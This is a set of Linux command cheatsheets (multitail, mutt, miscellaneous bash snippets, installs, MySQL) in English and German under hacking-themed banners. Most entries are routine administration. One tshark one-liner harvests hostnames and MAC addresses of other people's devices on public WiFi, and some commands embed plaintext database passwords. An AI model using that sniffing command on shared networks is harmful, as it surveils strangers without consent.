▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗ ██████╗ ██╗   ██╗██╗███████╗███████╗
#  ████╗ ████║██╔═══██╗██║   ██║██║██╔════╝██╔════╝
#  ██╔████╔██║██║   ██║██║   ██║██║█████╗  ███████╗
#  ██║╚██╔╝██║██║   ██║╚██╗ ██╔╝██║██╔══╝  ╚════██║
#  ██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ██║███████╗███████║
#  ╚═╝     ╚═╝ ╚═════╝   ╚═══╝  ╚═╝╚══════╝╚══════╝

# movies (Bash-Snippets)
# Provides relevant information about a certain movie.

# Search for information on a specific movie
movies Inception
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

91 - 🖥️multitail

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the multitail command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗██╗   ██╗██╗  ████████╗██╗████████╗ █████╗ ██╗██╗     
#  ████╗ ████║██║   ██║██║  ╚══██╔══╝██║╚══██╔══╝██╔══██╗██║██║     
#  ██╔████╔██║██║   ██║██║     ██║   ██║   ██║   ███████║██║██║     
#  ██║╚██╔╝██║██║   ██║██║     ██║   ██║   ██║   ██╔══██║██║██║     
#  ██║ ╚═╝ ██║╚██████╔╝███████╗██║   ██║   ██║   ██║  ██║██║███████╗
#  ╚═╝     ╚═╝ ╚═════╝ ╚══════╝╚═╝   ╚═╝   ╚═╝   ╚═╝  ╚═╝╚═╝╚══════╝

# https://wiki.natenom.de/linux/verschiedenes/multitail-schemas
# /etc/multitail.conf : Ihr sind die Farbschemas gespeichert und allgemeine Parameter
# .multitailrc : Diese Datei kann man in seinem Homepfad anlegen und eigene Defaults festlegen
# https://lanbugs.de/howtos/linux-tipps-tricks/multitail-mehre-logs-live-betrachten-und-in-farbe/
# https://www.pantz.org/software/multitail/multitailconfig.html
# http://nion.modprobe.de/blog/archives/440-Using-the-ii-irc-client.html

# Mit den Tasten a und d lassen sich Dateien, Programme oder Fenster hinzufügen und entfernen, F1 oder Strg-H bringen die Onlinehilfe auf den Schirm, mit Strg-G gelangt man zurück zur normalen Ansicht. Tippt der Nutzer w, speichert das Programm ein kurzes Shell-Skript, das multitail mit allen aktuellen Einstellungen neu startet.
# By default MultiTail does the same thing as ‘tail -f‘, i.e. view files in a real time. To view/monitor two different files in one window, the basic syntax is:

## 1. How To View 2 Files in Single Window
multitail /var/log/apache2/error.log /var/log/apache2/error.log.1
 
# To scroll through the files, hit ‘b‘ and select the file you want from the list.
# Once, you select the file, it will show you last 100 lines of that selected file, to scroll through use the cursor keys. You can also use ‘gg‘/’G‘ to move to the top/bottom of the scroll window. If you want to view more lines, hit ‘q’ to exit and hit ‘m‘ to enter a new value for the number of lines to view.

## 2. How To View 2 Files in 2 Columns
# The following command will display two different files in 2 columns.
multitail -s 2 /var/log/mysqld.log /var/log/xferlog
 
## 3. How To View Multiple Files in Multiple Columns
# Display 3 files in three columns.
multitail -s 3 /var/log/mysqld.log /var/log/xferlog /var/log/yum.log
 
## 4. Merge/View Multiple Files in Multiple Columns 
# Displays 5 logfiles while merging 2 files in one column and keep 2 files in two columns with only one in the left column.
multitail -s 2 -sn 1,3  /var/log/mysqld.log -I /var/log/xferlog /var/log/monitorix /var/log/ajenti.log /var/log/yum.log
 
## 5. How to View File and Execute a Command
# Shows 1 file while ‘-l‘ option allows command to execute in a window.
multitail /var/log/iptables.log -l "ping server.nixcraft.in"
 
# 6. How to Merge/View Two Files in Different Color 
# Merge 2 logfiles in one window, but give different color to each logfile so that you can easily understand what lines are for what logfile.
multitail -ci green /var/log/yum.log -ci yellow -I /var/log/mysqld.log

# Automatically add new files to a window:
multitail -Q /var/log/myprogram/log-2014*.txt

# Merge 2 logfiles in one window:
multitail /var/log/apache2/access.log -I /var/log/apache2/error.log

# Show 3 logfiles in 2 columns:
multitail -s 2 /var/log/apache2/access.log /var/log/messages /var/log/mail.log

# Show 5 logfiles while merging 2 and put them in 2 columns with only one in the left column:
multitail -s 2 -sn 1,3  /var/log/apache2/access.log -I /var/log/apache2/error.log /var/log/messages \
                            /var/log/mail.log /var/log/syslog

# Merge the output of 2 ping commands while removing "64 bytes received from" from only 1 of them:
multitail -l "ping 192.168.0.1" -ke "64 bytes from" -L "ping 192.168.0.2"

# Show the output of a ping-command and if it displays a timeout, send a message to all users currently logged in
multitail -ex timeout "echo timeout | wall" -l "ping 192.168.0.1"

# In one window show all new TCP connections and their state changes using netstat while in the other window displaying the merged access and error logfiles of apache2
multitail -R 2 -l "netstat -t" /var/log/apache2/access.log -I /var/log/apache2/error.log

# As the previosu example but also copy the output to the file netstat.log
multitail -a netstat.log -R 2 -l "netstat -t tcp" /var/log/apache2/access.log -I /var/log/apache2/error.log

# Show 2 logfiles merged in one window but give each logfile a different color so that you can easily see what lines are for what logfile:
multitail -ci green /var/log/apache2/access.log -ci red -I /var/log/apache2/error.log

# Show 3 rssfeeds merged in one window using rsstail
multitail -cS rsstail -l "rsstail -n 1 -z -l -d -u http://setiathome.berkeley.edu/rss_main.php" \
    	-cS rsstail -L "rsstail -n 1 -z -l -d -u http://www.biglumber.com/index.rss" -cS rsstail \
    	-L "rsstail -n 1 -z -l -u http://kernel.org/kdist/rss.xml"

# Show a Squid (proxy server) logfile while converting timestamps to something readable
multitail -cv squid /var/log/squid/access.log

# Display Q-Mail logging while converting the timestamp into human readable format
multitail -cv qmailtimestr /var/log/qmail/qmail.smtpd.log

# Merge ALL apache2 logfiles (*access_log/*error_log) into one window:
multitail -cS apache2 --mergeall /var/log/apache2/*access_log --no-mergeall -cS apache2_error \
    	--mergeall /var/log/apache2/*error_log --no-mergeall

# Monitor the logfile of an other system:     For this you need to setup a couple of things. MultiTail runs on system A, the logfile on system B.
# In this example we're going to monitor the apache2 logfile. 
	# Add the following to /etc/services:
    apache2log       20000/tcp
    
	# Add this to /etc/inetd.conf:
    apache2log stream tcp nowait root /usr/local/sbin/tail_apache2_log /usr/local/sbin/tail_apache2_log

    # and create the file /usr/local/sbin/tail_apache2_log with the following content:

    #!/bin/sh
    /usr/bin/tail -f /var/log/apache2/access.log

	# make sure that you don't forget to make that script executable (chmod +x filename).
	# Then on host A start MultiTail like this:
multitail -cS apache2 -l "telnet B 20000"

	# Please note that logfiles go in plaintext across the network. You may also need to adjust the files /etc/hosts.[allow|deny] on host B to only allow host A to connect.

# Monitoring Tomcat
multitail -cS apache2 -cS log4j "${TOMCAT_HOME}/logs/catalina.out"

#First, a notification can be generated when something special is detected (via a regular expression) in a log file. In the following example, MultiTail will follow the authentication log file and generate an e-mail alert when a failed SSH login occurred:

# The following example will tag blocked packets by a pf (packet filter) firewall on OpenBSD:
multitail -ex "sshd.*Failed password for invalid user" \
                       "echo SSH breaking attempt detected | \
                       mail -s Alert [email protected]" \
                 -i /var/log/authlog"

# The fifth field (“accept” or “block”) and will be displayed in different colors when passing from one value to the other. Combined with the screen utility, a single SSH session to a server is enough to build powerful dashboards
multitail -cf 5 " " -l "tcpdump -n -e -ttt -i pflog0"

# You can also use MultiTail to view logfiles on other hosts! use authentication via keys or use "ssh-agent": then you only once have to enter your passphrase (so login once to that host manually, and then start MultiTail)
multitail -l "ssh -t username@host tail -f file"

# tail 2x logs + command
multitail messages syslog -R 2 -l "lsof -i"
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

92 - 🖥️mutt

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mutt command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ███╗██╗   ██╗████████╗████████╗
#                ████╗ ████║██║   ██║╚══██╔══╝╚══██╔══╝
#                ██╔████╔██║██║   ██║   ██║      ██║   
#                ██║╚██╔╝██║██║   ██║   ██║      ██║   
#                ██║ ╚═╝ ██║╚██████╔╝   ██║      ██║   
#                ╚═╝     ╚═╝ ╚═════╝    ╚═╝      ╚═╝   

# Send a mail with a subject, cc, and an attachment
mutt -s "Site Backup" -a backup.tar -c [email protected] [email protected]

# Send a mail with a blind carbon copy (bcc)
mutt -s "hello" -b [email protected] [email protected]


### Select (tag) messages: shift+t (T)
# -----------------------------------
  = (string)
  ~ (expression)

  # 
  ~b expr     (message with expr in body)
   [b]body
   [B]whole message
   [f]rom
   [c]c'ed
   [C]c'ed or to
   [h]eader

   #  
  ~m from-to  (range)
  ~d from-to  (date range)
  ~N (new messages)
  ~U (unread messages)
  ~R (read messages)
  ~A (all messages)
  ~D (deleted messages)
  ~p (message to you)
  ~P (message from you)
  ~= (duplicated messages)
  ~$ (unref messages)


###  Logical operators:
# -------------------
    AND = ~P ~N (new messages from you)
    OR  = ~P | ~N (new messages of messages from you)
    ()  = (~= ~$) | ~N

###  DATES
# -----------
    DD/MM/YY
    ~d 20/1/95-31/10/95  (from 20/01/95 to 31/10/95)
    ~d -31/10/95         (before 31/10/95)
    ~d 20/1/95-          (after 20/01/95)
    ~d 20/1/95           (only 20/01/95)
    ~d 20/1/95*2w        (two weeks around 20/01/95)
               [w]eek
               [d]day
               [m]onth
               [y]ear
# can use *(around), +(after) or -(before)  
    ~d <1m               (messages newer than 1 month)
    ~d >1y               (messages older than 1 year)
    ~d =1d               (exact one day)

    
### Keys
# ---------
 shift+d (D)        : delete messages using pattern
 shift+t (T)        : select messages using pattern
 shift+u (U)        : undelete messages using pattern
 ctrl+t             : un-selected messages using pattern
 d                  : delete message
 N                  : mark as new
 C                  : copy message to another folder(mailbox)
 o, O               : change sort, reverse sort
 ctrl+ D, U         : Deleted, Undelete a thread
 ctrl+R             : mark current thread as read
 esc+t              : select thread
 esc+ v, V          : collapse thread, collapse all threads
 w,W                : add, remove flags
 T ~U ;WN ctrl+t .  : mark unread msgs, remove its new flag, unselect them


# Nur mailquarantäne: ssh mit User archiv. Auf der Mailquarantäne werden die archivierten E-Mails auf /opt/archiv abgelegt.
	df -h |  grep                                                -> gibt Filesystembelegung aus
	doveadm mailbox status -u archiv vsize INBOX.*               -> zeigt Belegung der Mailboxen in Byte
	doveadm mailbox status -u archiv messages INBOX.*            -> gibt Anzahl der Mails pro Mailbox aus

# Anzeigen und recherchieren in den archivierten Mails als User archiv:
	mutt		-> Passwort für archiv User
	c 		    -> in die Mailbox verzweigen (IN = eingehend, darunter dann der Monatstag, enbenso OUT = ausgehend)

# anschließend zu Suchen "/" in der Kommandozeile eingeben
	/	
            -> Suchen ~t (= nach To:), ~f (= nach From:), ~s (= nach Subject), ~H (= nach SMTP-To)
        	-> es genügt ein Teilstring, alle Suchabfragen werden logisch UND-Verknüpft
        	-> z.B ~H tuxtux ~s postfix
        	-> serverseitig nach der Headerzeile: =h "delivered-to: tuxtux"

# Es kann auch alternativ zu "/"mit "l" (limit) das angezeiget Suchergebnis eingegrenzt werden. 
: all                                     Zurück zu allen emails 
b                                         bounce (forward) von einzelnen Mails an eine @lxu.io Adresse oder @linux.lxu.io
i:                                        Verlassen  
<BackSpace>:S                             zurück  
<Space>:S                                 vor 
?:                                        Hilfe
^B                                        M <enter-command> set my_pipe_decode=$pipe_decode... call urlview to extract URLs out of a message
^D                                        delete-thread                                        Lösche alle Nachrichten im Diskussionsfaden
^E                                        edit-type                                            Bearbeite Content-Type des Anhangs
^F                                        forget-passphrase                                    Entferne Mantra(s) aus Speicher
<Tab>                                     next-new-then-unread                                 Springe zur nächsten neuen oder ungelesenen Nachricht
<Enter>                                   display-message                                      Zeige Nachricht an
^K                                        extract-keys                                         Extrahiere unterstützte öffentliche Schlüssel
<Return>                                  display-message                                      Zeige Nachricht an
^N                                        next-thread                                          Springe zum nächsten Diskussionsfaden
^P                                        previous-thread                                      Springe zum vorigen Diskussionsfaden
^R                                        read-thread                                          Markiere den aktuellen Diskussionsfaden als gelesen
^T                                        untag-pattern                                        Entferne Markierung nach Muster
^U                                        undelete-thread                                      Entferne Löschmarkierung von allen Nachrichten im Diskussionsfaden
<Esc><Tab>                                previous-new-then-unread                             Springe zur vorigen neuen oder ungelesenen Nachricht
<Esc>C                                    decode-copy                                          Erzeuge decodierte Kopie (text/plain)
<Esc>OM                                   display-message                                      Zeige Nachricht an
<Esc>Ok                                   next-entry                                           Gehe zum nächsten Eintrag
<Esc>Om                                   previous-entry                                       Gehe zum vorigen Eintrag
<Esc>P                                    check-traditional-pgp                                Suche nach klassischem PGP
<Esc>V                                    collapse-all                                         Kollabiere/expandiere alle Diskussionsfäden
<Esc>X                                    vfolder-from-query                                   Erzeuge virtuelle Mailbox aus der Abfrage
<Esc>[1~                                  first-entry                                          Gehe zum ersten Eintrag
<Esc>[4~                                  last-entry                                           Springe zum letzten Eintrag
<Esc>[F                                   last-entry                                           Springe zum letzten Eintrag
<Esc>[H                                   first-entry                                          Gehe zum ersten Eintrag
<Esc>b                                    M <search>~b                                         search in message bodies
<Esc>c                                    change-folder-readonly                               Öffne eine andere Mailbox im Nur-Lesen-Modus
<Esc>d                                    delete-subthread                                     Lösche alle Nachrichten im Diskussionsfadenteil
<Esc>e                                    resend-message                                       Verwende aktuelle Nachricht als Vorlage für neue Nachricht
<Esc>k                                    mail-key                                             Verschicke öffentlichen PGP-Schlüssel
<Esc>l                                    show-limit                                           Zeige derzeit aktives Begrenzungsmuster
<Esc>n                                    next-subthread                                       Springe zum nächsten Diskussionsfadenteil
<Esc>p                                    previous-subthread                                   Springe zum vorigen Diskussionsfadenteil
<Esc>r                                    read-subthread                                       Markiere den aktuellen Diskussionsfadenteil als gelesen
<Esc>s                                    decode-save                                          Erzeuge decodierte Kopie (text/plain) und lösche
<Esc>t                                    tag-thread                                           Markiere aktuellen Diskussionsfaden
<Esc>u                                    undelete-subthread                                   Entferne Löschmarkierung von allen Nachrichten im Diskussionsfadenteil
<Esc>v                                    collapse-thread                                      Kollabiere/expandiere aktuellen Diskussionsfaden
<Space>                                   display-message                                      Zeige Nachricht an
#                                         break-thread                                         Zerlege Diskussionsfaden in zwei
$                                         sync-mailbox                                         Speichere Änderungen in Mailbox
%                                         toggle-write                                         Schalte Sichern von Änderungen ein/aus
&                                         link-threads                                         Markierte Nachrichten mit der aktuellen verbinden
+                                         next-entry                                           Gehe zum nächsten Eintrag
-                                         previous-entry                                       Gehe zum vorigen Eintrag
.                                         buffy-list                                           Liste Mailboxen mit neuen Nachrichten
@                                         display-address                                      Zeige komplette Absenderadresse
C                                         copy-message                                         Kopiere Nachricht in Datei/Mailbox
D                                         delete-pattern                                       Lösche Nachrichten nach Muster
F                                         flag-message                                         Schalte 'Wichtig'-Markierung der Nachricht ein/aus
G                                         fetch-mail                                           Hole Nachrichten vom POP-Server
J                                         next-entry                                           Gehe zum nächsten Eintrag
K                                         previous-entry                                       Gehe zum vorigen Eintrag
L                                         list-reply                                           Antworte an Mailing-Listen
N                                         toggle-new                                           Setze/entferne den "neu"-Indikator einer Nachricht
O                                         sort-reverse                                         Sortiere Nachrichten in umgekehrter Reihenfolge
P                                         parent-message                                       Springe zur Bezugsnachricht im Diskussionsfaden
 

 
#==============================##==============================#
# CMD MUTT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

93 - 🖥️my_neue

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the my_neue command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ███╗██╗   ██╗     ███╗   ██╗███████╗██╗   ██╗███████╗
#                ████╗ ████║╚██╗ ██╔╝     ████╗  ██║██╔════╝██║   ██║██╔════╝
#                ██╔████╔██║ ╚████╔╝      ██╔██╗ ██║█████╗  ██║   ██║█████╗  
#                ██║╚██╔╝██║  ╚██╔╝       ██║╚██╗██║██╔══╝  ██║   ██║██╔══╝  
#                ██║ ╚═╝ ██║   ██║███████╗██║ ╚████║███████╗╚██████╔╝███████╗
#                ╚═╝     ╚═╝   ╚═╝╚══════╝╚═╝  ╚═══╝╚══════╝ ╚═════╝ ╚══════╝
                                                                            

tshark -ni en0 -Y "bootp.option.type == 53" -T fields -e bootp.option.hostname -e eth.src_resolved 
# See who's on the Starbucks WiFi with you 

# The solution is to convert the file to Unix line endings.
# This can be done using the dos2unix program:
dos2unix run-nw
# Or open the file in Vim and run the following command before saving:
:set fileformat=unix

[Ctrl-b] s 
# Have more than one tmux sessions running? Start tmux first and this keystroke lets you choose other tmux sessions easily.

[command] 2> >(fb=$(dd bs=1 count=1 2>/dev/null | od -t o1 -A n); [ "$fb" ] && err=$(printf "\\${fb# }"; cat) && echo "ERROR - $err")
# Add Rudimentary Logging Levels According to STDOUT/STDERR. This is a bit of a bash hack to catch STDERR and append a log level to it. So for example, if your script has pseudo loglevels like so: echo "INFO - finding files"

[ -f ${files} ] || echo "WARN - no files found"
# Any subcommands that write to STDERR will screw that up

2> >(fb=$(dd bs=1 count=1 2>/dev/null | od -t o1 -A n); [ "$fb" ] && err=$(printf "\\${fb# }"; cat) && echo "ERROR - $err") 
# Adding to the command does the following:
#		 2>								Redirect STDERR
#		 >(								Spawn a subshell (STDERR is then redirected to the file descriptor for this subshell)
#		 fb=$(....)					get the first byte of input
#		 [ "$fb" ]						test if there is a first byte
#		 && err=$(printf....)		save the output to the $err variable
#		 && echo "ERROR - $err"	append your pseudo loglevel and the error message

################################################# yes/no Abfrage - Möglichkeit 01
while true; do
    read -p "Do you wish to install this program?" yn
    case $yn in
        [Yy]* ) make install; break;;
        [Nn]* ) exit;;
        * ) echo "Please answer yes or no.";;
    esac
done
#################################################

# oder

################################################# yes/no Abfrage - Möglichkeit 02
echo "Do you wish to install this program?"
select yn in "Yes" "No"; do
    case $yn in
        Yes ) make install; break;;
        No ) exit;;
    esac
done
#################################################

shell-pipe-status.sh
<command> | tee out.txt; test ${PIPESTATUS[0]} -eq 0
echo ${PIPESTATUS[*}} all status in commands

# bash-parse-href-url.sh
shopt -s nocasematch    #Dont care about the character case
text='<a href="http://www.google.com/here2;i=!mfo1iu489fn1o2jlk21m4098mdoi">"test link"</a><br>'
regex='(<a\ +href=\")([^\"]+)(\">)'
[[ $text =~ $regex ]] && echo ${BASH_REMATCH[2]}

# bash-test-function.sh
isFunction() { [[ "$(declare -Ff "$1")" ]]; }
#	Usage:
isFunction some_name && echo yes || echo no

# bash-stop-screen-session.sh
# Start detached screen session `info bash'
screen -d -m -S <screen-name> -m <command>
screen -S info -d -m info bash
# Stop screen session `info bash' by sending key `q'
screen -S info -p 0 -X stuff q
# Alternative: Stop screen session `info bash' by sending key `CTRL-C'
screen -S info -p 0 -X stuff ^C       # Enter literal `^C' in bash by pressing CTRL-V followed by CTRL-C
screen -S info -p 0 -X stuff $'\003'  # $'\003' is octal notation for CTRL-C
screen -S info -p 0 -X stuff $'\cC' # $'\cx' is bash notation for a control-x character

JENKINS_VER=$(tr -dc '[[:print:]]' <<< "${JENKINS_VER}")
# bash-remove-non-printable-chars.sh

1. Convert PEM into pub SSH key file:
ssh-keygen -e -f amazon-ec2-key.pem >> amazon-ec2-key.pem.pub

2. Generate a PEM from a SSH key: 
openssl rsa -in my_tunneler -outform pem > my_tunneler.pem

#==============================##==============================#
# CMD MY_NEUE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

94 - 🖥️myinstall

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the myinstall command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#    ███╗   ███╗██╗   ██╗██╗███╗   ██╗███████╗████████╗ █████╗ ██╗     ██╗
#    ████╗ ████║╚██╗ ██╔╝██║████╗  ██║██╔════╝╚══██╔══╝██╔══██╗██║     ██║
#    ██╔████╔██║ ╚████╔╝ ██║██╔██╗ ██║███████╗   ██║   ███████║██║     ██║
#    ██║╚██╔╝██║  ╚██╔╝  ██║██║╚██╗██║╚════██║   ██║   ██╔══██║██║     ██║
#    ██║ ╚═╝ ██║   ██║   ██║██║ ╚████║███████║   ██║   ██║  ██║███████╗███████╗
#    ╚═╝     ╚═╝   ╚═╝   ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚══════╝

# Figlet
apt install figlet ; cd /usr/share/figlet ; git clone https://github.com/xero/figlet-fonts.git

https://github.com/cheat/cheat
# https://github.com/junegunn/fzf
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ; ~/.fzf/install

# The Ultimate Vim configuration - https://github.com/amix/vimrc
# Install for multiple users
# To install for multiple users, the repository needs to be cloned to a location accessible for all the intended users.
git clone --depth=1 https://github.com/amix/vimrc.git /opt/vim_runtime
sh ~/.vim_runtime/install_awesome_parameterized.sh /opt/vim_runtime user0 user1 user2

# to install for all users with home directories
sh ~/.vim_runtime/install_awesome_parameterized.sh /opt/vim_runtime --all
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

95 - 🖥️mysql

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mysql command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ███╗██╗   ██╗███████╗ ██████╗ ██╗     
#                ████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║     
#                ██╔████╔██║ ╚████╔╝ ███████╗██║   ██║██║     
#                ██║╚██╔╝██║  ╚██╔╝  ╚════██║██║▄▄ ██║██║     
#                ██║ ╚═╝ ██║   ██║   ███████║╚██████╔╝███████╗
#                ╚═╝     ╚═╝   ╚═╝   ╚══════╝ ╚══▀▀═╝ ╚══════╝
                                                             

# To connect to a database
mysql -h localhost -u root -p

# To backup all databases
mysqldump --all-databases --all-routines -u root -p > ~/fulldump.sql

# To restore all databases
mysql -u root -p  < ~/fulldump.sql

# To create a database in utf8 charset
CREATE DATABASE owa CHARACTER SET utf8 COLLATE utf8_general_ci;

# To add a user and give rights on the given database
GRANT ALL PRIVILEGES ON database.* TO 'user'@'localhost'IDENTIFIED BY 'password' WITH GRANT OPTION;

# To list the privileges granted to the account that you are using to connect to the server. Any of the 3 statements will work. 
SHOW GRANTS FOR CURRENT_USER();
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;

# Basic SELECT Statement
SELECT * FROM tbl_name;

# Basic INSERT Statement
INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2);

# Basic UPDATE Statement
UPDATE tbl_name SET col1 = "example";

# Basic DELETE Statement
DELETE FROM tbl_name WHERE user = 'jcole';

#==============================##==============================#
# CMD MYSQL						       #
#==============================##==============================#

[root@ipam ~]# mysql -u root -p
Enter password:
mysql> create database phpipam;
Query OK, 1 row affected (0.00 sec)
mysql> GRANT ALL on phpipam.* to phpipam@localhost identified by ‘phpipamadmin’;
Query OK, 0 rows affected (0.00 sec)
mysql> exit
Bye

# Backup IP address table, remove backups older than 10 days
@daily /usr/bin/mysqldump -u ipv6 -pipv6admin phpipam > <ipam_dir>/db/bkp/phpipam_bkp_$(date +"\%y\%m\%d").db
@daily /usr/bin/find <ipam_dir>/db/bkp/ -ctime +10 -exec rm {} \;

# Import SQL Dumps:
mysql -uroot -pPasswort < sql.file

# How to remove a MySQL

mysql> drop database `my-database`;

# Create User in MySQL/MariaDB 
	CREATE USER 'new_user'@'localhost' IDENTIFIED BY 'new_password';

# then to grant all access to the database (e.g. my_db), use GRANT Syntax, e.g.
	GRANT ALL ON my_db.* TO 'new_user'@'localhost';

# Where ALL (priv_type) can be replaced with specific privilege such as SELECT, INSERT, UPDATE, ALTER, etc.
# Then to reload newly assigned permissions run:
	FLUSH PRIVILEGES;

Shell integration
For people not familiar with MySQL syntax, here are handy shell functions which are easy to remember and use (to use them, you need to load the shell functions included further down).

Here is example:

$ mysql-create-user admin mypass
| CREATE USER 'admin'@'localhost' IDENTIFIED BY 'mypass'

$ mysql-create-db foo
| CREATE DATABASE IF NOT EXISTS foo

$ mysql-grant-db admin foo
| GRANT ALL ON foo.* TO 'admin'@'localhost'
| FLUSH PRIVILEGES

$ mysql-show-grants admin
| SHOW GRANTS FOR 'admin'@'localhost'
| Grants for admin@localhost                                                                                   
